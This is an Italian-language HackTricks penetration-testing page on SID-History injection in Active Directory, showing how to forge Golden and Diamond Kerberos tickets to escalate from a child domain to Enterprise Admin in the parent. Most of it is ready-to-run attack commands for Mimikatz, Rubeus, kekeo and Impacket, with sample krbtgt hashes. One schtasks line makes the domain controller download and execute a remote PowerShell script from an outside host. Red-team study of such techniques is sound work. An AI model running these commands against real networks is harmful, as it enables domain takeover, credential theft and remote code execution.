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hacktricks/windows-hardening/active-directory-methodology/sid-history-injection.md

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# Iniezione di SID-History
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<details>
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<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? o vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al [repo hacktricks](https://github.com/carlospolop/hacktricks) e al [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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## Attacco di iniezione di SID-History
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L'obiettivo dell'**attacco di iniezione di SID-History** è facilitare la **migrazione dell'utente tra domini** garantendo al contempo l'accesso continuato alle risorse del dominio precedente. Ciò viene realizzato **incorporando l'Identificatore di Sicurezza (SID) precedente dell'utente nella SID-History** del suo nuovo account. In particolare, questo processo può essere manipolato per concedere accesso non autorizzato aggiungendo la SID di un gruppo ad alta privilegi (come Enterprise Admins o Domain Admins) del dominio principale alla SID-History. Sfruttando questa vulnerabilità si ottiene accesso a tutte le risorse all'interno del dominio principale.
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Esistono due metodi per eseguire questo attacco: attraverso la creazione di un **Golden Ticket** o di un **Diamond Ticket**.
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Per individuare la SID del gruppo **"Enterprise Admins"**, è necessario prima individuare la SID del dominio radice. Dopo averla identificata, la SID del gruppo Enterprise Admins può essere costruita aggiungendo `-519` alla SID del dominio radice. Ad esempio, se la SID del dominio radice è `S-1-5-21-280534878-1496970234-700767426`, la SID risultante per il gruppo "Enterprise Admins" sarebbe `S-1-5-21-280534878-1496970234-700767426-519`.
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È anche possibile utilizzare il gruppo **Domain Admins**, che termina con **512**.
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Un altro modo per trovare la SID di un gruppo dell'altro dominio (ad esempio "Domain Admins") è con:
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```powershell
Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
```
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### Golden Ticket (Mimikatz) con KRBTGT-AES256
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{% code overflow="wrap" %}
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```bash
mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"
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/user is the username to impersonate (could be anything)
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/domain is the current domain.
/sid is the current domain SID.
/sids is the SID of the target group to add ourselves to.
/aes256 is the AES256 key of the current domain's krbtgt account.
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--> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option
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/startoffset sets the start time of the ticket to 10 mins before the current time.
/endin sets the expiry date for the ticket to 60 mins.
/renewmax sets how long the ticket can be valid for if renewed.
# The previous command will generate a file called ticket.kirbi
# Just loading you can perform a dcsync attack agains the domain
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```
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{% endcode %}
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Per ulteriori informazioni sui biglietti d'oro, controlla:
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{% content-ref url="golden-ticket.md" %}
[golden-ticket.md](golden-ticket.md)
{% endcontent-ref %}
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### Biglietto di diamante (Rubeus + KRBTGT-AES256)
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{% code overflow="wrap" %}
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```powershell
# Use the /sids param
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap
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# Or a ptt with a golden ticket
Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt
# You can use "Administrator" as username or any other string
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```
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{% endcode %}
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Per ulteriori informazioni sui biglietti diamond, controlla:
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{% content-ref url="diamond-ticket.md" %}
[diamond-ticket.md](diamond-ticket.md)
{% endcontent-ref %}
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{% code overflow="wrap" %}
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```bash
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.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local
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.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
ls \\mcorp-dc.moneycorp.local\c$
```
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{% endcode %}
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Elevare a DA o root o Enterprise admin utilizzando l'hash KRBTGT del dominio compromesso:
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{% code overflow="wrap" %}
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```bash
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'
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Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'
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gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local
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schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
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schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
```
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{% endcode %}
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Con le autorizzazioni acquisite dall'attacco, puoi eseguire ad esempio un attacco DCSync nel nuovo dominio:
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{% content-ref url="dcsync.md" %}
[dcsync.md](dcsync.md)
{% endcontent-ref %}
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### Da Linux
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#### Manuale con [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py)
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{% code overflow="wrap" %}
```bash
# This is for an attack from child to root domain
# Get child domain SID
lookupsid.py <child_domain>/username@10.10.10.10 | grep "Domain SID"
# Get root domain SID
lookupsid.py <child_domain>/username@10.10.10.10 | grep -B20 "Enterprise Admins" | grep "Domain SID"
# Generate golden ticket
ticketer.py -nthash <krbtgt_hash> -domain <child_domain> -domain-sid <child_domain_sid> -extra-sid <root_domain_sid> Administrator
# NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING
# JUST USE THE SAME USERNAME IN THE NEXT STEPS
# Load ticket
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export KRB5CCNAME=hacker.ccache
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# psexec in domain controller of root
psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10
```
{% endcode %}
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#### Automatico utilizzando [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)
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Questo è uno script di Impacket che **automatizza l'escalation dal dominio figlio al dominio genitore**. Lo script richiede:
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* Controller di dominio di destinazione
* Credenziali per un utente amministratore nel dominio figlio
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Il flusso è il seguente:
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* Ottiene l'SID del gruppo Enterprise Admins del dominio genitore
* Recupera l'hash per l'account KRBTGT nel dominio figlio
* Crea un Golden Ticket
* Effettua il login nel dominio genitore
* Recupera le credenziali per l'account Administrator nel dominio genitore
* Se viene specificato l'interruttore `target-exec`, si autentica al Domain Controller del dominio genitore tramite Psexec.
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```bash
raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
```
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## Riferimenti
a
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* [https://adsecurity.org/?p=1772](https://adsecurity.org/?p=1772)
* [https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/](https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/)
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<details>
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<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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* Lavori in un'**azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al [repo hacktricks](https://github.com/carlospolop/hacktricks) e al [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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